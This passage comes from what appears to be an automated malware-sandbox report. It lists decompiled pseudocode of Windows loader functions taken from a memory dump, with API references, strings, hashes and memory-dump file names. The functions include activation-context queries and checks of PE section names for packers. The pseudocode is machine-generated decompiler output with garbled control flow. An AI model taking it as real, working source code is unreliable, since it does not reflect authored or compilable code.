						 *((intOrPtr*)(_t162 + 0xc)) =  *_t33;
						_t35 = _t169 + 0x1c; // 0x0
						 *((intOrPtr*)(_t162 + 0x10)) =  *_t35;
						_t37 = _t169 + 0x20; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 0x14)) =  *_t37;
						_t39 = _t169 + 0x24; // 0x0
						 *((intOrPtr*)(_t162 + 0x18)) =  *_t39;
						_t41 = _t169 + 0x28; // 0xffffffc4
						 *((intOrPtr*)(_t162 + 0x1c)) =  *_t41;
						_t43 = _t169 + 0x30; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 0x20)) =  *_t43;
						_t45 = _t169 + 0x34; // 0x0
						 *((intOrPtr*)(_t162 + 0x24)) =  *_t45;
						_t47 = _t169 + 0x38; // 0x6a984794
						 *((intOrPtr*)(_t162 + 0x28)) =  *_t47;
						_t49 = _t169 + 0x40; // 0x0
						 *((intOrPtr*)(_t162 + 0x2c)) =  *_t49;
						_t51 = _t169 + 0x44; // 0x6a9847bb
						 *((intOrPtr*)(_t162 + 0x30)) =  *_t51;
						_t53 = _t169 + 0x48; // 0xffffffe4
						 *((intOrPtr*)(_t162 + 0x34)) =  *_t53;
						_t55 = _t169 + 0x4c; // 0x0
						 *((intOrPtr*)(_t162 + 0x38)) =  *_t55;
						_t57 = _t169 + 0x50; // 0xfffffecc
						 *((intOrPtr*)(_t162 + 0x3c)) =  *_t57;
						 *((intOrPtr*)(_t162 + 0x40)) = 0;
						 *((intOrPtr*)(_t162 + 0x44)) = 0;
						 *((intOrPtr*)(_t162 + 0x48)) = 0;
						 *((intOrPtr*)(_t162 + 0x4c)) = 0;
						_t63 = _t169 + 0x58; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 0x50)) =  *_t63;
						if( *(_t169 + 8) != 0) {
							_t66 = _t169 + 8; // 0xffffff98
							_t67 = _t169 + 0xc; // 0x0
							memcpy(_t171,  *_t67 + _v8,  *_t66);
							_t175 = _t175 + 0xc;
							 *(_a4 + 0x40) = _t171;
							_t71 = _t169 + 8; // 0xffffff98
							_t174 = _t171 +  *_t71;
							 *_t174 = 0;
							_t171 = _t174 + 2;
						}
						if( *(_t169 + 0x14) != 0) {
							_t73 = _t169 + 0x14; // 0x0
							_t74 = _t169 + 0x18; // 0x6a984765
							memcpy(_t171,  *_t74 + _v8,  *_t73);
							_t175 = _t175 + 0xc;
							 *(_a4 + 0x44) = _t171;
							_t78 = _t169 + 0x14; // 0x0
							_t173 = _t171 +  *_t78;
							 *_t173 = 0;
							_t171 = _t173 + 2;
						}
						if( *(_t169 + 0x28) != 0) {
							_t80 = _t169 + 0x28; // 0xffffffc4
							_t81 = _t169 + 0x2c; // 0x0
							memcpy(_t171,  *_t81 + _v8,  *_t80);
							_t175 = _t175 + 0xc;
							 *(_a4 + 0x48) = _t171;
							_t85 = _t169 + 0x28; // 0xffffffc4
							_t172 = _t171 +  *_t85;
							 *_t172 = 0;
							_t171 = _t172 + 2;
						}
						if( *(_t169 + 0x50) != 0) {
							_t87 = _t169 + 0x50; // 0xfffffecc
							_t88 = _t169 + 0x54; // 0x0
							memcpy(_t171,  *_t88 + _v8,  *_t87);
							 *(_a4 + 0x4c) = _t171;
							_t92 = _t169 + 0x50; // 0xfffffecc
							 *((short*)(_t171 +  *_t92)) = 0;
						}
						_t128 = _a12;
						if(_t128 != 0) {
							 *_t128 = _t155;
						}
						return 0;
					} else {
						if(_t170 != 0) {
							 *_t170 = _t155;
						}
						return 0xc0000023;
					}
				} else {
					_push( *((intOrPtr*)(_t96 + _t165 + 8)));
					_push(_t167);
					E6A9A5720(0x33, 0, "SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context\n", "RtlpQueryAssemblyInformationActivationContextDetailedInformation");
					return 0xc000000d;
				}
			}

0x6a9a44a0
0x6a9a44a4
0x6a9a44a6
0x6a9a44ad
0x6a9a44b1
0x6a9a44b6
0x6a9a44b8
0x6a9a44b8
0x6a9a44ba
0x6a9a44c1
0x6a9a44c7
0x6a9a44f0
0x6a9a44fa
0x6a9a44fe
0x6a9a4500
0x6a9a4504
0x6a9a4506
0x6a9a4507
0x6a9a450a
0x6a9a450b
0x6a9a450c
0x6a9a450d
0x6a9a4513
0x6a9a4517
0x6a9a4523
0x00000000
0x6a9a4698
0x6a9a4529
0x6a9a4529
0x6a9a452e
0x6a9a4530
0x6a9a4530
0x6a9a4530
0x6a9a4533
0x6a9a4533
0x6a9a4538
0x6a9a453d
0x6a9a453d
0x6a9a453f
0x6a9a453f
0x6a9a4544
0x6a9a4549
0x6a9a4549
0x6a9a454b
0x6a9a454b
0x6a9a4550
0x6a9a4555
0x6a9a4555
0x6a9a455a
0x6a9a456c
0x6a9a456f
0x6a9a4572
0x6a9a4574
0x6a9a4574
0x6a9a4577
0x6a9a457a
0x6a9a457d
0x6a9a4580
0x6a9a4583
0x6a9a4586
0x6a9a4589
0x6a9a458c
0x6a9a458f
0x6a9a4592
0x6a9a4595
0x6a9a4598
0x6a9a459b
0x6a9a459e
0x6a9a45a1
0x6a9a45a4
0x6a9a45a7
0x6a9a45aa
0x6a9a45ad
0x6a9a45b0
0x6a9a45b3
0x6a9a45b6
0x6a9a45b9
0x6a9a45bc
0x6a9a45bf
0x6a9a45c2
0x6a9a45c5
0x6a9a45c8
0x6a9a45cb
0x6a9a45ce
0x6a9a45d3
0x6a9a45d6
0x6a9a45d9
0x6a9a45dc
0x6a9a45df
0x6a9a45e2
0x6a9a45e9
0x6a9a45eb
0x6a9a45ee
0x6a9a45f6
0x6a9a45fe
0x6a9a4601
0x6a9a4606
0x6a9a4606
0x6a9a4609
0x6a9a460c
0x6a9a460c
0x6a9a4613
0x6a9a4615
0x6a9a4618
0x6a9a4620
0x6a9a4628
0x6a9a462b
0x6a9a4630
0x6a9a4630
0x6a9a4633
0x6a9a4636
0x6a9a4636
0x6a9a463d
0x6a9a463f
0x6a9a4642
0x6a9a464a
0x6a9a4652
0x6a9a4655
0x6a9a465a
0x6a9a465a
0x6a9a465d
0x6a9a4660
0x6a9a4660
0x6a9a4667
0x6a9a4669
0x6a9a466c
0x6a9a4674
0x6a9a4681
0x6a9a4684
0x6a9a4687
0x6a9a4687
0x6a9a468b
0x6a9a4690
0x6a9a4692
0x6a9a4692
0x00000000
0x6a9a455c
0x6a9a455e
0x6a9a4560
0x6a9a4560
0x00000000
0x6a9a4562
0x6a9a44c9
0x6a9a44c9
0x6a9a44cd
0x6a9a44db
0x00000000
0x6a9a44e3

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context,RtlpQueryAssemblyInformationActivationContextDetailedInformation,?,?,6A9617F0,00000000,?,?), ref: 6A9A44DB

Part of subcall function 6A941D47: memset.1105(00000000,00000000,6A9617F0,?,00000001,00000000,?,6A918D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6A941D87

memcpy.1105(00000059,-00000F38,FFFFFF98,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6A9617F0,00000000,?,?), ref: 6A9A45F6
memcpy.1105(00000059,-00000F38,00000000,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6A9617F0,00000000,?,?), ref: 6A9A4620
memcpy.1105(00000059,-00000F38,FFFFFFC4,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6A9617F0,00000000,?,?), ref: 6A9A464A
memcpy.1105(00000059,-00000F38,FFFFFECC,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6A9617F0,00000000,?,?), ref: 6A9A4674

Strings

RtlpQueryAssemblyInformationActivationContextDetailedInformation, xrefs: 6A9A44CE
SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context, xrefs: 6A9A44D3

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$Printmemset
String ID: RtlpQueryAssemblyInformationActivationContextDetailedInformation$SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
API String ID: 3378804984-1390252366
Opcode ID: f72f462f57354cd460a391292be35f1a6c39eb762aecd12a9817c4f207c5a758
Instruction ID: bbb9b1a6afc429cd1758769abf2c2a9dbf49894438e68fb8b170e1594a4897f8
Opcode Fuzzy Hash: f72f462f57354cd460a391292be35f1a6c39eb762aecd12a9817c4f207c5a758
Instruction Fuzzy Hash: E2810FB5A00606EFD754CF29C880A55B7F4FF48318B25455AE918DB701EB31F962CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6A9142EB, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 90
stringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E6A9142EB(void* __ecx) {
				int _v8;
				void* _v12;
				void* _t25;
				void* _t29;
				int _t32;
				int _t35;
				intOrPtr _t37;
				char* _t40;
				intOrPtr _t42;
				int _t45;
				intOrPtr _t46;
				intOrPtr _t49;
				void* _t52;
				void* _t54;
				void* _t55;

				_push(__ecx);
				_push(__ecx);
				_t37 =  *((intOrPtr*)(__ecx + 0x18));
				_t52 = 0;
				E6A92E9C0(3, _t37, 0, 0,  &_v12);
				_t49 = _v12;
				_t42 =  *((intOrPtr*)(_t49 + 0x78));
				if(_t42 != 0) {
					if( *((intOrPtr*)(_t49 + 0x7c)) <= 0) {
						goto L1;
					}
					_t46 =  *((intOrPtr*)(_t49 + 0x50));
					if(_t42 >= _t46 - 0xd) {
						goto L1;
					}
					_t43 =  *((intOrPtr*)(_t42 + _t37 + 0xc));
					if( *((intOrPtr*)(_t42 + _t37 + 0xc)) > _t46 - 0xc) {
						goto L1;
					}
					_push(0xc);
					_t29 = E6A95E000(_t43 + _t37, "secserv.dll");
					_t55 = _t54 + 0xc;
					if(_t29 != 0) {
						goto L1;
					}
					_t40 = _t49 + 0x18 + ( *(_t49 + 0x14) & 0x0000ffff);
					_t45 = 1;
					_t32 = 1;
					_v12 = 1;
					_v8 = 1;
					if(0 >=  *(_t49 + 6)) {
						goto L1;
					} else {
						L9:
						while(1) {
							if(_t32 != 0) {
								_t35 = strncmp(_t40, ".txt", 5);
								_t45 = _v12;
								_t55 = _t55 + 0xc;
								_v8 = _t35;
							}
							if(_t45 != 0) {
								_t45 = strncmp(_t40, ".txt2", 6);
								_t55 = _t55 + 0xc;
								_v12 = _t45;
							}
							if(_v8 != 0 || _t45 != 0) {
								_t40 =  &(_t40[0x28]);
								_t52 = _t52 + 1;
								if(_t52 >= ( *(_t49 + 6) & 0x0000ffff)) {
									goto L1;
								}
								_t32 = _v8;
								continue;
							} else {
								_t25 = 1;
								L2:
								return _t25;
							}
						}
					}
				}
				L1:
				_t25 = 0;
				goto L2;
			}

0x6a9142f0
0x6a9142f1
0x6a9142f3
0x6a9142fc
0x6a914303
0x6a914308
0x6a91430b
0x6a914310
0x6a91431e
0x00000000
0x00000000
0x6a914320
0x6a914328
0x00000000
0x00000000
0x6a91432a
0x6a914333
0x00000000
0x00000000
0x6a914335
0x6a914340
0x6a914345
0x6a91434a
0x00000000
0x00000000
0x6a9706b7
0x6a9706bd
0x6a9706be
0x6a9706bf
0x6a9706c4
0x6a9706cb
0x00000000
0x00000000
0x00000000
0x6a9706d1
0x6a9706d3
0x6a9706dd
0x6a9706e2
0x6a9706e5
0x6a9706e8
0x6a9706e8
0x6a9706ed
0x6a9706fc
0x6a9706fe
0x6a970701
0x6a970701
0x6a970708
0x6a970719
0x6a97071c
0x6a97071f
0x00000000
0x00000000
0x6a970725
0x00000000
0x6a97070e
0x6a97070e
0x6a914314
0x6a91431a
0x6a91431a
0x6a970708
0x6a9706d1
0x6a9706cb
0x6a914312
0x6a914312
0x00000000

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,?,?,00000000,?,?,?,6A914176,00000003,?,00000000,00000000), ref: 6A914303
_strnicmp.1105(?,secserv.dll,0000000C,00000003,?,00000000,00000000,?,?,?,00000000,?,?,?,6A914176,00000003), ref: 6A914340
strncmp.1105(?,.txt,00000005), ref: 6A9706DD
strncmp.1105(?,.txt2,00000006), ref: 6A9706F7

Strings

.txt2, xrefs: 6A9706F1
secserv.dll, xrefs: 6A91433A
.txt, xrefs: 6A9706D7

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: strncmp$HeaderImage_strnicmp
String ID: .txt$.txt2$secserv.dll
API String ID: 290936131-436433099
Opcode ID: bc035927524dbdbdc516d90eb882dbc761e331b7858bf9919c4d7fa4981deecb
Instruction ID: 88ed29f4286c2b3f6e8f401f943719b99e68750c9b444e05beca787ffc516d5b
Opcode Fuzzy Hash: bc035927524dbdbdc516d90eb882dbc761e331b7858bf9919c4d7fa4981deecb
Instruction Fuzzy Hash: 7321E6B0A0420ABBDB18CF6588D4A6AB778BF8474DF204539D50697241FF71E952CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9141F7, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6A9141F7(intOrPtr __ecx) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				int _t26;
				int _t31;
				int _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				void* _t37;
				intOrPtr _t39;
				void* _t40;
				char* _t42;
				void* _t43;
				int _t49;

				_t33 = __ecx;
				_v12 = __ecx;
				E6A92E9C0(3,  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v8);
				_t40 = 0;
				_t34 = _v8;
				_v16 =  *((intOrPtr*)(_t33 + 0x1c));
				_t42 = _t34 + 0x18 + ( *(_t34 + 0x14) & 0x0000ffff);
				if(0 >=  *(_t34 + 6)) {
					L8:
					return 0;
				} else {
					goto L1;
				}
				do {
					L1:
					if(_t42[0xc] != 0 && _t42[8] != 0) {
						_t26 = strncmp(_t42, ".aspack", 8);
						_t43 = _t43 + 0xc;
						if(_t26 == 0) {
							L11:
							_t39 = _v16;
							_t37 = _t42[0xc] +  *((intOrPtr*)(_v12 + 0x18));
							if(_t39 >= _t37 && _t39 <= _t42[8] + _t37) {
								L6:
								if(_t49 == 0) {
									return 1;
								}
							}
							goto L7;
						}
						_t31 = strncmp(_t42, ".pcle", 6);
						_t43 = _t43 + 0xc;
						if(_t31 == 0) {
							goto L11;
						}
						_t32 = strncmp(_t42, ".sforce", 8);
						_t43 = _t43 + 0xc;
						_t49 = _t32;
						goto L6;
					}
					L7:
					_t40 = _t40 + 1;
					_t42 =  &(_t42[0x28]);
				} while (_t40 < ( *(_t34 + 6) & 0x0000ffff));
				goto L8;
			}

0x6a914205
0x6a91420f
0x6a914214
0x6a91421c
0x6a91421e
0x6a914221
0x6a91422b
0x6a914233
0x6a914291
0x00000000
0x00000000
0x00000000
0x00000000
0x6a914235
0x6a914235
0x6a914239
0x6a914249
0x6a91424e
0x6a914253
0x6a97064c
0x6a970652
0x6a970655
0x6a97065a
0x6a914283
0x6a914283
0x00000000
0x6a91429a
0x6a914283
0x00000000
0x6a97065a
0x6a914261
0x6a914266
0x6a91426b
0x00000000
0x00000000
0x6a914279
0x6a91427e
0x6a914281
0x00000000
0x6a914281
0x6a914285
0x6a914289
0x6a91428a
0x6a91428d
0x00000000

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,?,?,00000000), ref: 6A914214
strncmp.1105(?,.aspack,00000008,00000003,?,00000000,00000000,?,?,?,00000000), ref: 6A914249
strncmp.1105(?,.pcle,00000006,?,?,00000000), ref: 6A914261
strncmp.1105(?,.sforce,00000008,?,?,?,?,?,00000000), ref: 6A914279

Strings

.aspack, xrefs: 6A914243
.sforce, xrefs: 6A914273
.pcle, xrefs: 6A91425B

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: strncmp$HeaderImage
String ID: .aspack$.pcle$.sforce
API String ID: 3137002299-3067156003
Opcode ID: 51dbef9f2b20475f7150a6866a0a4f02b027663a20bcdc7a2bec1b3b17d08208
Instruction ID: 253ee67cb2b47f813ffbd55ea40846b5e5d3f215fdd2fd01649de89e6540ef32
Opcode Fuzzy Hash: 51dbef9f2b20475f7150a6866a0a4f02b027663a20bcdc7a2bec1b3b17d08208
Instruction Fuzzy Hash: 15213B74A042056BEB20CF55DCC1B6F73F99FC8348F218825ED0496246EE35DDD1CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 6A92EC7F, Relevance: 12.3, APIs: 8, Instructions: 256
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6A92EC7F(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t65;
				intOrPtr* _t67;
				intOrPtr _t69;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t75;
				intOrPtr _t76;
				signed int _t77;
				void* _t78;
				intOrPtr _t80;
				signed int _t81;
				void* _t83;
				void* _t85;
				intOrPtr _t90;
				void* _t91;
				void* _t96;
				void _t99;
				intOrPtr* _t104;
				intOrPtr* _t106;
				unsigned int _t112;
				unsigned int _t114;
				intOrPtr* _t115;
				void* _t118;
				intOrPtr _t120;
				unsigned int _t122;
				unsigned int _t124;
				intOrPtr* _t125;
				intOrPtr* _t129;
				intOrPtr* _t134;
				intOrPtr* _t136;
				void* _t138;
				signed int* _t140;
				void* _t141;
				void* _t143;
				void* _t146;
				intOrPtr _t148;
				void* _t149;
				void* _t151;
				void* _t153;

				_push(_t96);
				_t146 = __ecx;
				_push(_t138);
				_t65 =  *(__ecx + 0x50);
				if( *((intOrPtr*)(_t65 + 0xc)) == 0xffffffff) {
					L3:
					return _t65;
				} else {
					_t65 =  *_t65;
					if(( *(_t65 - 0x20) & 0x00000020) != 0) {
						goto L3;
					} else {
						_t65 = _t65 | 0xffffffff;
						asm("lock xadd [esi+0x9c], eax");
						if(_t65 == 0) {
							E6A932280(_t65, 0x6aa084d8);
							_t67 = _t146 + 0x54;
							_t120 =  *_t67;
							if( *((intOrPtr*)(_t120 + 4)) != _t67) {
								L15:
								_push(3);
								asm("int 0x29");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(0x30);
								_push(0x6a9efb78);
								E6A96D08C(_t96, _t138, _t146);
								_t148 =  *((intOrPtr*)(_t153 + 8));
								if(_t148 == 0) {
									L60:
									_t69 = 0xc000000d;
								} else {
									_t140 =  *(_t153 + 0x14);
									if(_t140 == 0) {
										goto L60;
									} else {
										 *((intOrPtr*)(_t153 - 4)) = 0;
										if( *((intOrPtr*)(_t153 + 0xc)) >= 0x10000) {
											_t122 =  *(_t148 + 0x58) >> 1;
											 *(_t153 - 0x20) = _t122;
											_t104 =  *((intOrPtr*)(_t148 + 0x54)) + _t148;
											 *((intOrPtr*)(_t153 - 0x1c)) = _t104;
											if(_t104 <= 0x10000) {
												L38:
												if( *_t104 == 0) {
													goto L55;
												} else {
													_t72 = 1;
													if(_t122 <= 0) {
														goto L55;
													}
												}
											} else {
												while(_t122 > 0) {
													if( *_t104 == 0) {
														L55:
														_t72 = 0;
													} else {
														_t78 = E6A95E490( *((intOrPtr*)(_t153 + 0xc)), _t104);
														_t104 =  *((intOrPtr*)(_t153 - 0x1c));
														if(_t78 != 0) {
															_t129 = _t104;
															_t54 = _t129 + 2; // 0x22
															 *((intOrPtr*)(_t153 - 0x2c)) = _t54;
															do {
																_t80 =  *_t129;
																_t129 = _t129 + 2;
															} while (_t80 != 0);
															_t81 = (_t129 -  *((intOrPtr*)(_t153 - 0x2c)) >> 1) + 1;
															_t104 = _t104 + _t81 * 2;
															 *((intOrPtr*)(_t153 - 0x1c)) = _t104;
															_t122 =  *(_t153 - 0x20) - _t81;
															 *(_t153 - 0x20) = _t122;
															continue;
														} else {
															_t122 =  *(_t153 - 0x20);
															goto L38;
														}
													}
													goto L40;
												}
												goto L38;
											}
											L40:
											if(_t72 == 0) {
												 *_t140 =  *_t140 | 0x00040000;
											}
											_t124 =  *(_t148 + 0x68) >> 1;
											 *(_t153 - 0x28) = _t124;
											_t106 =  *((intOrPtr*)(_t148 + 0x64)) + _t148;
											 *((intOrPtr*)(_t153 - 0x24)) = _t106;
											if(_t106 <= 0x10000) {
												L57:
												if( *_t106 == 0 || _t124 <= 0) {
													goto L30;
												} else {
													_t73 = 1;
												}
											} else {
												while(_t124 > 0) {
													if( *_t106 == 0) {
														L30:
														_t73 = 0;
													} else {
														_t75 = E6A95E490( *((intOrPtr*)(_t153 + 0xc)), _t106);
														_t106 =  *((intOrPtr*)(_t153 - 0x24));
														if(_t75 == 0) {
															_t124 =  *(_t153 - 0x28);
															goto L57;
														} else {
															_t125 = _t106;
															_t47 = _t125 + 2; // 0xc00000e7
															_t149 = _t47;
															do {
																_t76 =  *_t125;
																_t125 = _t125 + 2;
															} while (_t76 != 0);
															_t48 = (_t125 - _t149 >> 1) + 1; // 0xc00000e4
															_t77 = _t48;
															_t106 = _t106 + _t77 * 2;
															 *((intOrPtr*)(_t153 - 0x24)) = _t106;
															_t124 =  *(_t153 - 0x28) - _t77;
															 *(_t153 - 0x28) = _t124;
															continue;
														}
													}
													goto L31;
												}
												goto L57;
											}
											L31:
											if(_t73 != 0) {
												goto L28;
											} else {
												goto L32;
											}
											goto L63;
										} else {
											_t112 =  *(_t148 + 0x60) >> 2;
											 *(_t153 - 0x30) = _t112;
											_t134 =  *((intOrPtr*)(_t148 + 0x5c)) + _t148;
											 *((intOrPtr*)(_t153 - 0x34)) = _t134;
											while(1) {
												_t112 = _t112 - 1;
												 *(_t153 - 0x30) = _t112;
												if(_t112 < 0) {
													break;
												}
												_t85 =  *((intOrPtr*)(_t153 + 0xc)) -  *_t134;
												_t134 = _t134 + 4;
												 *((intOrPtr*)(_t153 - 0x34)) = _t134;
												if(_t85 != 0) {
													continue;
												}
												break;
											}
											if(_t112 < 0) {
												 *_t140 =  *_t140 | 0x00040000;
											}
											_t114 =  *(_t148 + 0x70) >> 2;
											 *(_t153 - 0x38) = _t114;
											_t136 =  *((intOrPtr*)(_t148 + 0x6c)) + _t148;
											 *((intOrPtr*)(_t153 - 0x3c)) = _t136;
											while(1) {
												_t114 = _t114 - 1;
												 *(_t153 - 0x38) = _t114;
												if(_t114 < 0) {
													break;
												}
												_t83 =  *((intOrPtr*)(_t153 + 0xc)) -  *_t136;
												_t136 = _t136 + 4;
												 *((intOrPtr*)(_t153 - 0x3c)) = _t136;
												if(_t83 != 0) {
													continue;
												}
												break;
											}
											if(_t114 < 0) {
												L32:
												 *_t140 =  *_t140 | 0x00020000;
											}
										}
										L28:
										 *((intOrPtr*)(_t153 - 4)) = 0xfffffffe;
										_t69 = 0;
									}
								}
								return E6A96D0D1(_t69);
							} else {
								_t115 =  *((intOrPtr*)(_t67 + 4));
								if( *_t115 != _t67) {
									goto L15;
								} else {
									 *_t115 = _t120;
									 *((intOrPtr*)(_t120 + 4)) = _t115;
									_t141 =  *(_t146 + 0x50);
									_t99 =  *_t141;
									E6A92FFB0(_t99, _t141, 0x6aa084d8);
									if( *((intOrPtr*)(_t146 + 0x3a)) != 0) {
										E6A9537F5(_t146, 0);
									}
									E6A950413(_t146);
									_t90 =  *((intOrPtr*)(_t146 + 0x48));
									if(_t90 != 0) {
										if(_t90 != 0xffffffff) {
											E6A949B10(_t90);
										}
									}
									if( *((intOrPtr*)(_t146 + 0x28)) != 0) {
										E6A9402D6(_t146 + 0x24);
									}
									_t65 = RtlFreeHeap( *0x6aa07b98, 0, _t146);
									if(_t99 != _t141) {
										goto L3;
									} else {
										_t118 = _t141;
										_pop(_t142);
										_pop(_t150);
										_t143 = _t118;
										_t91 =  *(_t143 + 8);
										if(_t91 != 0) {
											do {
												_t151 =  *_t91;
												RtlFreeHeap( *0x6aa07b98, 0, _t91);
												_t91 = _t151;
											} while (_t151 != 0);
										}
										return RtlFreeHeap( *0x6aa07b98, 0, _t143);
									}
								}
							}
						} else {
							goto L3;
						}
					}
				}
				L63:
			}

0x6a92ec81
0x6a92ec83
0x6a92ec85
0x6a92ec86
0x6a92ec8d
0x6a92eca4
0x6a92eca7
0x6a92ec8f
0x6a92ec8f
0x6a92ec95
0x00000000
0x6a92ec97
0x6a92ec97
0x6a92ec9a
0x6a92eca2
0x6a92ecad
0x6a92ecb2
0x6a92ecb5
0x6a92ecba
0x6a92ed2f
0x6a92ed2f
0x6a92ed32
0x6a92ed34
0x6a92ed35
0x6a92ed36
0x6a92ed37
0x6a92ed38
0x6a92ed39
0x6a92ed3a
0x6a92ed3b
0x6a92ed3c
0x6a92ed3d
0x6a92ed3e
0x6a92ed3f
0x6a92ed40
0x6a92ed42
0x6a92ed47
0x6a92ed4e
0x6a92ed53
0x6a97baf2
0x6a97baf2
0x6a92ed59
0x6a92ed59
0x6a92ed5e
0x00000000
0x6a92ed64
0x6a92ed64
0x6a92ed6f
0x6a92edf1
0x6a92edf3
0x6a92edf9
0x6a92edfb
0x6a92ee00
0x6a92ee28
0x6a92ee2b
0x00000000
0x6a92ee31
0x6a92ee33
0x6a92ee35
0x00000000
0x00000000
0x6a92ee35
0x6a92ee02
0x6a92ee02
0x6a92ee09
0x6a97baae
0x6a97baae
0x6a92ee0f
0x6a92ee13
0x6a92ee1a
0x6a92ee1f
0x6a92eea9
0x6a92eeab
0x6a92eeae
0x6a92eeb1
0x6a92eeb1
0x6a92eeb4
0x6a92eeb7
0x6a92eec1
0x6a92eec4
0x6a92eec7
0x6a92eecd
0x6a92eecf
0x00000000
0x6a92ee25
0x6a92ee25
0x00000000
0x6a92ee25
0x6a92ee1f
0x00000000
0x6a92ee09
0x00000000
0x6a92ee02
0x6a92ee3b
0x6a92ee3d
0x6a97bab5
0x6a97bab5
0x6a92ee46
0x6a92ee48
0x6a92ee4e
0x6a92ee50
0x6a92ee59
0x6a97bac0
0x6a97bac3
0x00000000
0x6a97bad1
0x6a97bad3
0x6a97bad3
0x6a92ee5f
0x6a92ee5f
0x6a92ee6a
0x6a92ede0
0x6a92ede0
0x6a92ee70
0x6a92ee74
0x6a92ee7b
0x6a92ee80
0x6a92eed7
0x00000000
0x6a92ee82
0x6a92ee82
0x6a92ee84
0x6a92ee84
0x6a92ee87
0x6a92ee87
0x6a92ee8a
0x6a92ee8d
0x6a92ee96
0x6a92ee96
0x6a92ee99
0x6a92ee9c
0x6a92eea2
0x6a92eea4
0x00000000
0x6a92eea4
0x6a92ee80
0x00000000
0x6a92ee6a
0x00000000
0x6a92ee5f
0x6a92ede2
0x6a92ede4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a92ed71
0x6a92ed74
0x6a92ed77
0x6a92ed7d
0x6a92ed7f
0x6a92ed82
0x6a92ed82
0x6a92ed85
0x6a92ed88
0x00000000
0x00000000
0x6a92ed8d
0x6a92ed8f
0x6a92ed92
0x6a92ed97
0x00000000
0x00000000
0x00000000
0x6a92ed97
0x6a92ed9b
0x6a92ed9d
0x6a92ed9d
0x6a92eda6
0x6a92eda9
0x6a92edaf
0x6a92edb1
0x6a92edb4
0x6a92edb4
0x6a92edb7
0x6a92edba
0x00000000
0x00000000
0x6a92edbf
0x6a92edc1
0x6a92edc4
0x6a92edc9
0x00000000
0x00000000
0x00000000
0x6a92edc9
0x6a92edcd
0x6a92ede6
0x6a92ede6
0x6a92ede6
0x6a92edcd
0x6a92edcf
0x6a92edcf
0x6a92edd6
0x6a92edd6
0x6a92ed5e
0x6a92eddd
0x6a92ecbc
0x6a92ecbc
0x6a92ecc1
0x00000000
0x6a92ecc3
0x6a92ecc3
0x6a92ecc5
0x6a92ecc8
0x6a92ecd0
0x6a92ecd2
0x6a92ecdd
0x6a92ed1b
0x6a92ed1b
0x6a92ece1
0x6a92ece6
0x6a92eceb
0x6a92ed25
0x6a92ed28
0x6a92ed28
0x6a92ed25
0x6a92ecf1
0x6a92ecf6
0x6a92ecf6
0x6a92ed04
0x6a92ed0b
0x00000000
0x6a92ed0d
0x6a92ed0d
0x6a92ed0f
0x6a92ed10
0x6a94c27a
0x6a94c27c
0x6a94c281
0x6a98a692
0x6a98a692
0x6a98a69d
0x6a98a6a2
0x6a98a6a4
0x6a98a6a8
0x6a94c292
0x6a94c292
0x6a92ed0b
0x6a92ecc1
0x00000000
0x00000000
0x00000000
0x6a92eca2
0x6a92ec95
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6AA084D8,6A9617F0,00000000,?,6A93F715,6A93F5C0,?,?,?,00000001,-00000F38), ref: 6A92ECAD
